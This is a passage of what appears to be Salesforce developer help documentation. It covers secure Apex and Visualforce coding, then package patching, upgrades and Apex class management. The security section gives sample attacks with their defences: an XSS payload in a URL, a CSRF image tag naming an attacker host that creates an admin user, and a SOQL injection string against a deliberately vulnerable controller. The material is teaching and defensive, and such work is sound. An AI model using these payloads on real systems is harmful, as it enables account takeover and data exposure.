The standard mechanism to do server-side escaping is through the use of the SUBSTITUTE() formula tag. Given the placement of the {!$Request.*} expression in the example, the above attack can be prevented by using the following nested SUBSTITUTE() calls.
<html> <head> <title>{! SUBSTITUTE(SUBSTITUTE($Request.title,"<","<"),">",">")}</title> </head> <body>Hello world!</body> </html>

Depending on the placement of the tag and usage of the data, both the characters needing escaping, as well as their escaped counterparts, can vary. For instance, this statement:
<script>var ret = "{!$Request.retURL}";script>var ret = "{!$Request.retURL}";</script>

requires that the double quote character be escaped with its URL encoded equivalent of %22 instead of the HTML escaped ", since it is probably going to be used in a link. Otherwise, the request:
http://example.com/demo/redirect.html?retURL= foo%22%3Balert('xss')%3B%2F%2F

results in:
<script>var ret = "foo";alert('xss');//";</script>

Additionally, the ret variable might need additional client-side escaping later in the page if it is used in a way which can cause included HTML control characters to be interpreted. Formula tags can also be used to include platform object data. Although the data is taken directly from the user's organization, it must still be escaped before use to prevent users from executing code in the context of other users (potentially those with higher privilege levels). While these types of attacks must be performed by users within the same organization, they undermine the organization's user roles and reduce the integrity of auditing records. Additionally, many organizations contain data which has been imported from external sources and might not have been screened for malicious content.

Cross-Site Request Forgery (CSRF)


Cross-Site Request Forgery (CSRF) flaws are less of a programming mistake as they are a lack of a defense. The easiest way to describe CSRF is to provide a very simple example. An attacker has a Web page at www.attacker.com. This could be any Web page, including one that provides valuable services or information that drives traffic to that site. Somewhere on the attacker's page is an HTML tag that looks like this:
<img src="http://www.yourwebpage.com/yourapplication/createuser?email=attacker@attacker.com&type=admin....." height=1 width=1 />

In other words, the attacker's page contains a URL that performs an action on your website. If the user is still logged into your Web page when they visit the attacker's Web page, the URL is retrieved and the actions performed. This attack succeeds

2076

Create

Security Tips for Apex and Visualforce Development

because the user is still authenticated to your Web page. This is a very simple example and the attacker can get more creative by using scripts to generate the callback request or even use CSRF attacks against your AJAX methods. For more information and traditional defenses, see the following articles: http://www.owasp.org/index.php/Cross-Site_Request_Forgery http://www.cgisecurity.com/articles/csrf-faq.shtml http://shiflett.org/articles/cross-site-request-forgeries

Within the Force.com platform, salesforce.com has implemented an anti-CSRF token to prevent this attack. Every page includes a random string of characters as a hidden form field. Upon the next page load, the application checks the validity of this string of characters and does not execute the command unless the value matches the expected value. This feature protects you when using all of the standard controllers and methods. Here again, the developer might bypass the built-in defenses without realizing the risk. For example, suppose you have a custom controller where you take the object ID as an input parameter, then use that input parameter in an SOQL call. Consider the following code snippet.
<apex:page controller="myClass" action="{!init}"</apex:page> public class myClass { public void init() { Id id = ApexPages.currentPage().getParameters().get('id'); Account obj = [select id, Name FROM Account WHERE id = :id]; delete obj; return ; } }

In this case, the developer has unknowingly bypassed the anti-CSRF controls by developing their own action method. The id parameter is read and used in the code. The anti-CSRF token is never read or validated. An attacker Web page might have sent the user to this page using a CSRF attack and provided any value they wish for the id parameter. There are no built-in defenses for situations like this and developers should be cautious about writing pages that take action based upon a user-supplied parameter like the id variable in the preceding example. A possible work-around is to insert an intermediate confirmation page before taking the action, to make sure the user intended to call the page. Other suggestions include shortening the idle session timeout for the organization and educating users to log out of their active session and not use their browser to visit other sites while authenticated.

SOQL Injection
In other programming languages, the previous flaw is known as SQL injection. Apex does not use SQL, but uses its own database query language, SOQL. SOQL is much simpler and more limited in functionality than SQL. Therefore, the risks are much lower for SOQL injection than for SQL injection, but the attacks are nearly identical to traditional SQL injection. In summary SQL/SOQL injection involves taking user-supplied input and using those values in a dynamic SOQL query. If the input is not validated, it can include SOQL commands that effectively modify the SOQL statement and trick the application into performing unintended commands. For more information on SQL Injection attacks see: http://www.owasp.org/index.php/SQL_injection http://www.owasp.org/index.php/Blind_SQL_Injection http://www.owasp.org/index.php/Guide_to_SQL_Injection http://www.google.com/search?q=sql+injection

2077

Create

Security Tips for Apex and Visualforce Development

SOQL Injection Vulnerability in Apex Below is a simple example of Apex and Visualforce code vulnerable to SOQL injection.
<apex:page controller="SOQLController" > <apex:form> <apex:outputText value="Enter Name" /> <apex:inputText value="{!name}" /> <apex:commandButton value="Query" action="{!query} /> </apex:form> </apex:page> public class SOQLController { public String name { get { return name;} set { name = value;} } public PageReference query() { String qryString = 'SELECT Id FROM Contact WHERE ' + '(IsDeleted = false and Name like \'%' + name + '%\')'; queryResult = Database.query(qryString); return null; } }

This is a very simple example but illustrates the logic. The code is intended to search for contacts that have not been deleted. The user provides one input value called name. The value can be anything provided by the user and it is never validated. The SOQL query is built dynamically and then executed with the Database.query method. If the user provides a legitimate value, the statement executes as expected:
// User supplied value: name = Bob // Query string SELECT Id FROM Contact WHERE (IsDeleted = false and Name like '%Bob%')

However, what if the user provides unexpected input, such as:


// User supplied value for name: test%') OR (Name LIKE '

In that case, the query string becomes:


SELECT Id FROM Contact WHERE (IsDeleted = false AND Name LIKE '%test%') OR (Name LIKE '%')

Now the results show all contacts, not just the non-deleted ones. A SOQL Injection flaw can be used to modify the intended logic of any vulnerable query. SOQL Injection Defenses To prevent a SOQL injection attack, avoid using dynamic SOQL queries. Instead, use static queries and binding variables. The vulnerable example above can be re-written using static SOQL as follows:
public class SOQLController { public String name { get { return name;} set { name = value;} } public PageReference query() { String queryName = '%' + name + '%'; queryResult = [SELECT Id FROM Contact WHERE (IsDeleted = false and Name like :queryName)]; return null;

2078

Create

Creating and Uploading Patches

} }

If you must use dynamic SOQL, use the escapeSingleQuotes method to sanitize user-supplied input. This method adds the escape character (\) to all single quotation marks in a string that is passed in from a user. The method ensures that all single quotation marks are treated as enclosing strings, instead of database commands.

Data Access Control


The Force.com platform makes extensive use of data sharing rules. Each object has permissions and may have sharing settings for which users can read, create, edit, and delete. These settings are enforced when using all standard controllers. When using an Apex class, the built-in user permissions and field-level security restrictions are not respected during execution. The default behavior is that an Apex class has the ability to read and update all data within the organization. Because these rules are not enforced, developers who use Apex must take care that they do not inadvertently expose sensitive data that would normally be hidden from users by user permissions, field-level security, or organization-wide defaults. This is particularly true for Visualforce pages. For example, consider the following Apex pseudo-code:
public class customController { public void read() { Contact contact = [SELECT id FROM Contact WHERE Name = :value]; } }

In this case, all contact records are searched, even if the user currently logged in would not normally have permission to view these records. The solution is to use the qualifying keywords with sharing when declaring the class:
public with sharing class customController { . . . }

The with sharing keyword directs the platform to use the security sharing permissions of the user currently logged in, rather than granting full access to all records.

Creating and Uploading Patches


Available in: Developer Edition

User Permissions Needed To push an upgrade or create a patch development organization: Upload AppExchange Packages

Note: Patch versions and push upgrades are only available to Salesforce ISV partners.

2079

Create

Creating and Uploading Patches

Patch versions are developed and maintained in a patch development organization. For more information on push upgrades and patches, see the Force.com Quick Reference for Developing Packages. You can also read the Best Practices for Push Upgrades and Patch Versions on page 2071. To create a patch version: 1. 2. 3. 4. Click Your Name > Setup > Create > Packages. Click the name of your managed package. Click the Patch Organization tab and then click New. Select the package version that you want to create a patch for in the Patching Major Release drop-down list. The release type must be Managed - Released. 5. Enter a Username for a login to your patch organization. 6. Enter an Email Address associated with your login. 7. Click Save. Note: If you ever lose your login information, click Reset on the package detail page under Patch Development Organizations to reset the login to your patch development organization.

After you receive an email indicating Salesforce has created your patch development organization, you can click Login to begin developing your patch version. Development in a patch development organization is restricted. The following is a list of caveats: New package components cant be added. Existing package components cant be deleted. API and dynamic Apex access controls cant change for the package. No deprecation of any Apex code. No new Apex class relationships, such as extends, can be added. No new Apex access modifiers, such as virtual or global, can be added. No new Web services can be added. No new feature dependencies can be added.

When you finish developing your patch, in your patch development organization: 1. 2. 3. 4. 5. Click Your Name > Setup > Create > Packages and click the name of the package. On the Upload Package page, click Upload. Enter a Version Name. As a best practice, it's useful to have a short description and the date. Notice that the Version Number has had its patchNumber incremented. For managed packages, select a Release Type: Choose Managed - Released to upload an upgradeable version. After upload, some attributes of Salesforce components are locked. For a list of locked attributes, see Developing Packages for Distribution. Choose Managed - Beta if you want to upload a version of your package to a small sampling of your audience for testing purposes. You'll still be able to change the components and upload additional beta versions. For information on beta versions, see Developing Packages for Distribution. Note: Beta packages can only be installed in Developer Edition or sandbox organizations, and thus can't be pushed to customer organizations.

2080

Create

Converting Unmanaged Packages to Managed

6. Change the Description, if necessary. 7. Optionally, enter and confirm a password to share the package privately with anyone who has the password. Don't enter a password if you want to make the package available to anyone on AppExchange and share your package publicly. 8. Salesforce automatically selects the requirements it finds. In addition, select any other required components from the Package Requirements and Object Requirements sections to notify installers of any requirements for this package. 9. Click Upload. To distribute your patch, you can either share the upload link, or schedule a push upgrade.

See Also:
Scheduling Push Upgrades Viewing Push Upgrade History Preparing Your Apps for Distribution Managing Versions Publishing Upgrades to Managed Packages

Converting Unmanaged Packages to Managed


Available in: Developer Edition Package uploads and installs are available in Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To configure developer settings: To create packages: To upload packages: Customize Application Create AppExchange Packages Upload AppExchange Packages

Your organization may already have uploaded and registered packages on Force.com AppExchange directory. All packages uploaded prior to the Winter '07 release are unmanaged, meaning they cannot be upgraded in the installer's organization. You can convert them to managed packages by configuring your organization for managed packages and choosing a package to be managed. This allows you to notify installers when an upgrade is ready for them to install. Before you convert an existing package to managed, notify your current installers of how to save their data: 1. 2. 3. 4. Export all the data from the previous, unmanaged version of the package. Uninstall the unmanaged package. Install the new managed version of the package. Import all the exported data into the new managed package. Note: Note to installers: if you have made customizations to an installation of an unmanaged package, make a list of these customizations before uninstalling since you may want to implement them again. However, some customizations will not be possible with a managed package. See the Force.com Quick Reference for Developing Packages.

2081

Create

Publishing Extensions to Managed Packages

To convert an unmanaged package into a managed package: 1. Enable managed packages for your organization. 2. Click Your Name > Setup > Create > Packages, edit the package you want to make managed, and select Managed. Warning: Converting an unmanaged package to managed requires registering a namespace prefix that affects the API names of uniquely named package components such as custom fields or s-controls. S-controls stored in the s-control library or the Documents tab that do not use the Force.com API still function properly after you register a namespace prefix. However, s-controls stored outside of your organization or s-controls that use the Force.com API to call Salesforce may require some fine-tuning. For more information, see S-control in the Object Reference.

See Also:
Managing Packages Enabling Managed Packages for Your Organization

Publishing Extensions to Managed Packages


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create packages: To upload packages: Create AppExchange Packages Upload AppExchange Packages

An extension is any package, component, or set of components that adds to the functionality of a managed package. An extension requires that the base managed package be installed in the organization. For example, if you have built a recruiting app, an extension to this app might include a component for performing background checks on candidates. The community of developers, users, and visionaries building and publishing apps on Force.com AppExchange is part of what makes Force.com such a rich development platform. Use this community to build extensions to other apps and encourage them to build extensions to your apps. To publish extensions to a managed package: 1. Install the base package in the Salesforce organization that you plan to use to upload the extension. 2. Build your extension components. Note: To build an extension, install the base package and include a dependency to that base package in your package. The extension attribute will automatically become active. 3. Create a new package and add your extension components. Salesforce automatically includes some related components. For more information, see the Force.com Quick Reference for Developing Packages. 4. Upload the new package that contains the extension components. 5. Proceed with the publishing process as usual. For information on creating a test drive or registering and publishing your app, go to http://sites.force.com/appexchange/publisherHome.

2082

Create

Publishing Upgrades to Managed Packages

Note: Packages cannot be upgraded to Managed - Beta if they are used within the same organization as an extension.

See Also:
Preparing Your Apps for Distribution Understanding Dependencies Managing Versions Publishing Upgrades to Managed Packages

Publishing Upgrades to Managed Packages


Available in: Developer Edition Package uploads and installs are available in Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To configure developer settings: To create packages: To upload packages: Customize Application Create AppExchange Packages Upload AppExchange Packages

As a publisher, first ensure that your app is upgradeable by converting it to a managed package. Any changes you make to the components in a managed package are automatically included in subsequent uploads of that package, with one exception. When you upgrade a package, changes to the API access are ignored even if the developer specified them. This ensures that the administrator installing the upgrade has full control. Installers should carefully examine the changes in package access in each upgrade during installation and note all acceptable changes. Then, because those changes are ignored, the administrator should manually apply any acceptable changes after installing an upgrade. For more information, see About API and Dynamic Apex Access in Packages on page 2340. To publish upgrades to a managed package: 1. Select the package from the list of packages available at Your Name > Setup > Create > Packages. 2. View the list of package components. Changes you have made to components in this package are automatically included in this list. If the changes reference additional components, those components are automatically included as well. To add new components, click Add to add them to the package manually. 3. Click Upload and upload it as usual. Note: After you upload a new version of your Managed - Released package, you can click Deprecate so installers cannot install an older version. Deprecation prevents new installations of older versions without affecting existing installations. For more information, see Managing Versions on page 2062. You cannot deprecate the most recent version of a managed package upload.

2083

Develop

Resolving Apex Test Failures

4. When you receive an email with the link to the upload on Force.com AppExchange, notify your installed users that the new version is ready. Use the list of installed users from the License Management Application (LMA) to distribute this information. The License Management Application (LMA) automatically stores the version number that your installers have in their organizations.

See Also:
Preparing Your Apps for Distribution Understanding Dependencies Managing Versions Creating and Uploading Patches Publishing Extensions to Managed Packages

Resolving Apex Test Failures


Available in: Developer Edition

Package installs or upgrades may fail for not passing Apex test coverage. However, some of these failures can be ignored. For example, a developer might write an Apex test that makes assumptions about a subscriber's data. If you're a subscriber whose installation is failing due to an Apex test, contact the developer of the package for help. If you're a developer and an install fails due to an Apex test failure, check for the following: Make sure that you are staging all necessary data required for your Apex test, instead of relying on subscriber data that exists. If a subscriber creates a validation rule, required field, or trigger on an object referenced by your package, your test might fail if it performs DML on this object. If this object is created only for testing purposes and never at runtime, and the creation fails due to these conflicts, you might be safe to ignore the error and continue the test. Otherwise, contact the customer and determine the impact.

DEVELOP
Development Overview
The available setup options vary according to which Salesforce Edition you have.

Click Your Name > Setup > Develop to access the following options. These app builder tools may require some programming knowledge:

2084

Develop

Development Overview

Apex Classes Available in Developer, Enterprise, and Unlimited Editions only. Define Apex classes that you can use to add additional business logic to your custom applications. Apex Triggers Available in Developer, Enterprise, and Unlimited Editions only. View all Apex triggers defined for your organization. Working with Apex Test Execution Available in Developer, Enterprise, and Unlimited Editions only. Run Apex unit tests and view test results. API Available in Enterprise, Unlimited, and Developer Editions only. Download WSDL files that allow you to integrate external applications with Salesforce. Components Available in Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions. Define custom Visualforce components that you can use in one or more Visualforce pages. Custom Settings Available in Group, Personal, Developer, Enterprise, and Unlimited Editions. Create and manage custom data for your organization. Email Services Available in Developer, Enterprise, and Unlimited Editions. Define Apex classes that can process inbound email. Pages Available in Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions. Define Visualforce pages that display your own custom user interfaces. S-Controls Edit Java applets or Active-X controls for use in dynamic custom links or Web tabs. Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain unaffected, and can still be edited. Sites Available in Developer, Enterprise, and Unlimited Editions. Create public websites and applications that are integrated into Salesforce. Static Resources Available in Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions. Upload content that you can reference in a Visualforce page, including archives (such as .zip and .jar files), images, stylesheets, JavaScript programs, and other files. Remote Access Available in all editions. Create and manage a remote access application. A remote access application is an application external to Salesforce that uses the OAuth protocol to verify both the Salesforce user and the external application.

2085

Develop

Apex Code Overview

Tools Available in Developer, Enterprise, and Unlimited Editions only. Download tools that can assist you with building, debugging, testing, and deploying Apex.

See Also:
App Builder Tools Overview App Setup Overview

Apex Code Overview


Available in: Unlimited, Developer, Enterprise, and Database.com Editions

Apex is a strongly typed, object-oriented programming language that allows developers to execute flow and transaction control statements on the Force.com platform server in conjunction with calls to the Force.com API. Using syntax that looks like Java and acts like database stored procedures, Apex enables developers to add business logic to most system events, including button clicks, related record updates, and Visualforce pages. Apex code can be initiated by Web service requests and from triggers on objects. Apex can be stored on the platform in two different forms: A class is a template or blueprint from which Apex objects are created. Classes consist of other classes, user-defined methods, variables, exception types, and static initialization code under Your Name > Setup > Develop > Apex Classes. See Managing Apex Classes on page 2090. A trigger is Apex code that executes before or after specific data manipulation language (DML) events occur, such as before object records are inserted into the database, or after records have been deleted. Triggers are stored as metadata in Salesforce. A list of all triggers in your organization is located at Your Name > Setup > Develop > Apex Triggers. See Managing Apex Triggers on page 2101.

Apex generally runs in system context; that is, the current user's permissions, field-level security, and sharing rules arent taken into account during code execution. You must have at least 75% of your Apex covered by unit tests before you can deploy your code to production environments. In addition, all triggers must have some test coverage. See About Apex Unit Tests on page 2142. After creating your classes and triggers, as well as your tests, replay the execution using the Developer Console. Note: You can add, edit, or delete Apex using the Salesforce user interface only in a Developer Edition organization, a Salesforce Enterprise Edition trial organization, or sandbox organization. In a Salesforce production organization, you can only make changes to Apex by using the Metadata API deploy call, the Force.com IDE, or the Force.com Migration Tool. The Force.com IDE and Force.com Migration Tool are free resources provided by salesforce.com to support its users and partners, but are not considered part of our Services for purposes of the salesforce.com Master Subscription Agreement.

2086

Develop

Defining Apex Classes

For more information on the syntax and use of Apex, see the Force.com Apex Code Developer's Guide.

See Also:
Defining Apex Classes Viewing Apex Classes Apex Class Security Overview Creating an Apex Class from a WSDL Defining Apex Triggers What is a Debug Log? Working with the Developer Console About Apex Unit Tests Monitoring Debug Logs Using Tools for Developing and Deploying Apex Handling Apex Exceptions in Managed Packages Developer's Guide: Force.com Apex Code Developer's Guide

Defining Apex Classes


Available in: Unlimited, Developer, Enterprise, and Database.com Editions

User Permissions Needed To define, edit, delete, set security, set version settings, show dependencies, and run tests for Apex classes: Author Apex

Apex classes are stored as metadata in Salesforce. Note: You can add, edit, or delete Apex using the Salesforce user interface only in a Developer Edition organization, a Salesforce Enterprise Edition trial organization, or sandbox organization. In a Salesforce production organization, you can only make changes to Apex by using the Metadata API deploy call, the Force.com IDE, or the Force.com Migration Tool. The Force.com IDE and Force.com Migration Tool are free resources provided by salesforce.com to support its users and partners, but are not considered part of our Services for purposes of the salesforce.com Master Subscription Agreement. To create a class: 1. Click Your Name > Setup > Develop > Apex Classes. 2. Click New. 3. Click Version Settings to specify the version of Apex and the API used with this class. If your organization has installed managed packages from the AppExchange, you can also specify which version of each managed package to use with this class. Use the default values for all versions. This associates the class with the most recent version of Apex and the API, as well as each managed package. You can specify an older version of a managed package if you want to access components or functionality that differs from the most recent package version. You can specify an older version of Apex and the API to maintain specific behavior.

2087

Develop

Managing Version Settings for Apex

4. In the class editor, enter the Apex code for the class. A single class can be up to 1 million characters in length, not including comments, test methods, or classes defined using @isTest. 5. Click Save to save your changes and return to the class detail screen, or click Quick Save to save your changes and continue editing your class. Your Apex class must compile correctly before you can save your class. Once saved, classes can be invoked through class methods or variables by other Apex code, such as a trigger. Note: To aid backwards-compatibility, classes are stored with the version settings for a specified version of Apex and the API. If the Apex class references components, such as a custom object, in installed managed packages, the version settings for each managed package referenced by the class is saved too. Additionally, classes are stored with an isValid flag that is set to true as long as dependent metadata has not changed since the class was last compiled. If any changes are made to object names or fields that are used in the class, including superficial changes such as edits to an object or field description, or if changes are made to a class that calls this class, the isValid flag is set to false. When a trigger or Web service call invokes the class, the code is recompiled and the user is notified if there are any errors. If there are no errors, the isValid flag is reset to true.

See Also:
Apex Code Overview Managing Apex Classes Viewing Apex Classes About Apex Unit Tests Creating an Apex Class from a WSDL Apex Class Security Overview Managing Version Settings for Apex Using the Editor for Visualforce or Apex Developer's Guide: Force.com Apex Code Developer's Guide

Managing Version Settings for Apex


Available in: Unlimited, Developer, Enterprise, and Database.com Editions Managed Packages are not available in Database.com.

User Permissions Needed To define, edit, delete, set security, set version settings, show dependencies, and run tests for Apex classes: Author Apex

To aid backwards-compatibility, classes are stored with the version settings for a specified version of Apex and the API. If the Apex class references components, such as a custom object, in installed managed packages, the version settings for each managed package referenced by the class is saved too. This ensures that as Apex, the API, and the components in managed packages evolve in subsequent released versions, a class or trigger is still bound to versions with specific, known behavior. A package version is a number that identifies the set of components uploaded in a package. The version number has the format majorNumber.minorNumber.patchNumber (for example, 2.1.3). The major and minor numbers increase to a chosen value

2088

Develop

Managing Version Settings for Apex

during every major release. The patchNumber is generated and updated only for a patch release. Publishers can use package versions to evolve the components in their managed packages gracefully by releasing subsequent package versions without breaking existing customer integrations using the package. To set the Salesforce.com API and Apex version for a class or trigger: 1. Edit either a class or trigger, and click Version Settings. 2. Select the Version of the Salesforce.com API. This is also the version of Apex associated with the class or trigger. 3. Click Save. To configure the package version settings for a class or trigger: 1. Edit either a class or trigger, and click Version Settings. 2. Select a Version for each managed package referenced by the class or trigger. This version of the managed package will continue to be used by the class or trigger if later versions of the managed package are installed, unless you manually update the version setting. To add an installed managed package to the settings list, select a package from the list of available packages. The list is only displayed if you have an installed managed package that is not already associated with the class or trigger. 3. Click Save. Note the following when working with package version settings: If you save an Apex class or trigger that references a managed package without specifying a version of the managed package, the Apex class or trigger is associated with the latest installed version of the managed package by default. You cannot Remove a class or trigger's version setting for a managed package if the package is referenced in the class or trigger. Use Show Dependencies to find where a managed package is referenced by a class or a trigger.

See Also:
Apex Code Overview Defining Apex Classes Defining Apex Triggers Managing Apex Classes Managing Apex Triggers Viewing Apex Classes Apex Class Security Overview Managing Packages About Package Versions Developer's Guide: Force.com Apex Code Developer's Guide

2089

Develop

Managing Apex Classes

Managing Apex Classes


Available in: Unlimited, Developer, and Enterprise Editions

User Permissions Needed To define, edit, delete, set security, set version settings, show dependencies, and run tests for Apex classes: Author Apex

An Apex class is a template or blueprint from which Apex objects are created. Classes consist of other classes, user-defined methods, variables, exception types, and static initialization code. Once successfully saved, class methods or variables can be invoked by other Apex code, or through the SOAP API (or AJAX Toolkit) for methods that have been designated with the webService keyword. The Apex Classes page enables you to create and manage Apex classes. To access the Apex Classes page, click Your Name > Setup > Develop > Apex Classes. To create an Apex class, from the Apex Classes page, click New and write your Apex code in the editor. See Defining Apex Classes on page 2087. While developers can write class methods according to the syntax outlined in the Force.com Apex Code Developer's Guide, classes can also be automatically generated by consuming a WSDL document that is stored on a local hard drive or network. Creating a class by consuming a WSDL document allows developers to make callouts to the external Web service in their Apex. From the Apex Classes page, click Generate From WSDL to generate an Apex class from a WSDL document. Once you have created an Apex class, you can do any of the following: Click Edit next to the class name to modify its contents in a simple editor. Click Del next to the class name to delete the class from your organization. Note: You can add, edit, or delete Apex using the Salesforce user interface only in a Developer Edition organization, a Salesforce Enterprise Edition trial organization, or sandbox organization. In a Salesforce production organization, you can only make changes to Apex by using the Metadata API deploy call, the Force.com IDE, or the Force.com Migration Tool. The Force.com IDE and Force.com Migration Tool are free resources provided by salesforce.com to support its users and partners, but are not considered part of our Services for purposes of the salesforce.com Master Subscription Agreement. You cannot delete a class that is specified as a controller for a Visualforce page or component. A icon indicates that an Apex class was released in a managed package. Apex classes in packages have special considerations. For more information, see the Force.com Quick Reference for Developing Packages. A icon indicates that an Apex class is in an installed managed package. You cannot edit or delete a class in a managed package. A icon indicates that an Apex class in a previously released managed package will be deleted on the next package upload. You can choose to undelete the Apex class through the package detail page. See Deleting Components from Managed Packages

2090

Develop

Managing Apex Classes

If an Apex class has any methods defined as a webService, you can click WSDL next to the class name to generate a WSDL document from the class contents. This document contains all of the information necessary for a client to consume Apex Web service methods. All class methods with the webService keyword are included in the resulting WSDL document. Click Security next to the class name to select the profiles that are allowed to execute methods in the class from top-level entry points, such as Web service methods. For classes that are installed in your organization as part of a managed package, this link only displays for those defined as global. Click Calculate your organization's code coverage to find out how much of the Apex code in your organization is currently covered by unit tests. This percentage is based on the latest test results of tests that youve already executed. If you have no test results or if youve cleared code coverage results, code coverage is listed at 0%. For more information, see About Apex Unit Tests on page 2142. Note: The code coverage value computed by Calculate your organization's code coverage might differ from the code coverage value computed after running all unit tests using Run All Tests. This is because Calculate your organization's code coverage excludes classes that are part of installed managed packages while Run All Tests doesn't.

Click the percentage number in the Code Coverage column to see which lines in a class have been covered by Apex unit tests. Click Clear Code Coverage to reset the code coverage results for all Apex triggers and classes to 0%. If you have unit tests in at least one Apex class, click Run All Tests to run all the unit tests in your organization. For more information, see About Apex Unit Tests on page 2142. Click Compile all classes to compile all the Apex classes in your organization. If you have classes that are installed from a managed package and that have test methods or are test classes, you must compile these classes first before you can view them and run their test methods from the Apex Test Execution page. Managed package classes can be compiled only through the Compile all classes link because they cannot be saved. Otherwise, saving Apex classes that aren't from a managed package causes them to be recompiled. This link compiles all the Apex classes in your organization, whether or not they are from a managed package. Note: The namespace prefix is added to Apex classes and triggers, Visualforce components and pages, brand templates, folders, s-controls, static resources, web links, and custom report types if they are included in a managed package. However, if you don't have customize application permissions, the namespace prefix field is not displayed for brand templates, folders, and custom report types. For more information on namespace prefixes, see Registering a Namespace Prefix on page 2036.

See Also:
Apex Code Overview Defining Apex Classes Viewing Apex Classes Creating an Apex Class from a WSDL Apex Class Security Overview Understanding Dependencies About Apex Unit Tests Developer's Guide: Force.com Apex Code Developer's Guide

2091

Develop

Viewing Apex Classes

Viewing Apex Classes


Available in: Unlimited, Developer, Enterprise, and Database.com Editions

User Permissions Needed To define, edit, delete, set security, set version settings, show dependencies, and run tests for Apex classes: Author Apex

After you have created a class, you can view the code contained in the class, as well as the API against which the class was saved, and whether the class is valid or active. Click Your Name > Setup > Develop > Apex Classes, then click the name of the class you want to view. While viewing a class, you can do any of the following: Click Edit to make changes to the class. Note: You can add, edit, or delete Apex using the Salesforce user interface only in a Developer Edition organization, a Salesforce Enterprise Edition trial organization, or sandbox organization. In a Salesforce production organization, you can only make changes to Apex by using the Metadata API deploy call, the Force.com IDE, or the Force.com Migration Tool. The Force.com IDE and Force.com Migration Tool are free resources provided by salesforce.com to support its users and partners, but are not considered part of our Services for purposes of the salesforce.com Master Subscription Agreement. A icon indicates that an Apex class was released in a managed package. Apex classes in packages have special considerations. For more information, see the Force.com Quick Reference for Developing Packages. A icon indicates that an Apex class is in an installed managed package. You cannot edit or delete a class in a managed package. A icon indicates that an Apex class in a previously released managed package will be deleted on the next package upload. You can choose to undelete the Apex class through the package detail page. Click Delete to delete the class. Note: You cannot delete a class that is specified as a controller for a Visualforce page or component.

If your class has a method defined as a webService, click Generate WSDL to generate a WSDL document based on the class. Note: You cannot generate a WSDL document for classes defined as isTest.

Click Download to download a copy of your Apex. Click Run Test to run the unit tests contained in the class. Click Security to set the Apex class level security.

2092

Develop

Viewing Apex Classes

Click Show Dependencies to display the items, such as fields, objects, or other classes, that must exist for this class to be valid. For more information, see Understanding Dependencies on page 2063.

The Class Summary tab displays the prototype of the class; that is, the classes, methods and variables that are available to other Apex code. The Class Summary tab lists the access level and signature for each method and variable in an Apex class, as well as any inner classes. If there is no prototype available, this tab is not available. Note: For Apex classes not included in managed packages, only classes, methods and variables defined as either global or public are displayed. For Apex classes included in managed packages, the Class Summary tab also lists the package version a particular property or method was introduced. You can select a version number from the drop-down list to see the prototype for the selected package version. The default value is the current installed version. A package developer can deprecate an Apex method and upload a new package version, thus exposing an Apex class with a different prototype. Only classes, methods and variables defined as global are displayed in prototypes for managed package classes.

If an Apex class references components in installed managed packages, such as another class, trigger, or custom object, the Version Settings tab lists the package versions of the packages containing the referenced components. The Log Filters tab displays the debug log categories and debug log levels that you can set for the class. For more information, see Debug Log Filtering for Apex Classes and Apex Triggers on page 2159.

See Also:
Apex Code Overview Managing Apex Classes Defining Apex Classes About Apex Unit Tests Creating an Apex Class from a WSDL Apex Class Security Overview Using the Editor for Visualforce or Apex About Package Versions Managing Version Settings for Apex Developer's Guide: Force.com Apex Code Developer's Guide

2093

Develop

Creating an Apex Class from a WSDL

Creating an Apex Class from a WSDL


Available in: Unlimited, Developer, Enterprise, and Database.com Editions

User Permissions Needed To define, edit, delete, set security, set version settings, show dependencies, and run tests for Apex classes: Author Apex

An Apex class can be automatically generated from a WSDL document that is stored on a local hard drive or network. Creating a class by consuming a WSDL document allows developers to make callouts to the external Web service in their Apex. Note: Use Outbound Messaging to handle integration solutions when possible. Use callouts to third-party Web services only when necessary. To access this functionality: 1. In the application, click Your Name > Setup > Develop > Apex Classes. 2. Click Generate from WSDL. 3. Click Browse to navigate to a WSDL document on your local hard drive or network, or type in the full path. This WSDL document is the basis for the Apex class you are creating. Note: The WSDL document that you specify might contain a SOAP endpoint location that references an outbound port. For security reasons, Salesforce restricts the outbound ports you may specify to one of the following: 80: This port only accepts HTTP connections. 443: This port only accepts HTTPS connections. 102466535 (inclusive): These ports accept HTTP or HTTPS connections.

4. Click Parse WSDL to verify the WSDL document contents. The application generates a default class name for each namespace in the WSDL document and reports any errors. Parsing will fail if the WSDL contains schema types or schema constructs that are not supported by Apex classes, or if the resulting classes exceed 1 million character limit on Apex classes. For example, the Salesforce SOAP API WSDL cannot be parsed. 5. Modify the class names as desired. While you can save more than one WSDL namespace into a single class by using the same class name for each namespace, Apex classes can be no more than 1 million characters total. 6. Click Generate Apex. The final page of the wizard shows which classes were successfully generated, along with any errors from other classes. The page also provides a link to view successfully generated code. The successfully-generated Apex class includes stub and type classes for calling the third-party Web service represented by the WSDL document. These classes allow you to call the external Web service from Apex. For an example, see the Force.com Apex Code Developer's Guide. Note the following about the generated Apex:

2094

Develop

Apex Class Security Overview

If a WSDL document contains an Apex reserved word, the word is appended with _x when the Apex class is generated. For example, limit in a WSDL document converts to limit_x in the generated Apex class. For a list of reserved words, see the Force.com Apex Code Developer's Guide. If an operation in the WSDL has an output message with more than one element, the generated Apex wraps the elements in an inner class. The Apex method that represents the WSDL operation returns the inner class instead of the individual elements.

See Also:
Apex Code Overview Managing Apex Classes Viewing Apex Classes Defining Apex Classes Apex Class Security Overview Developer's Guide: Force.com Apex Code Developer's Guide

Apex Class Security Overview


Available in: Unlimited, Developer, Enterprise, and Database.com Editions

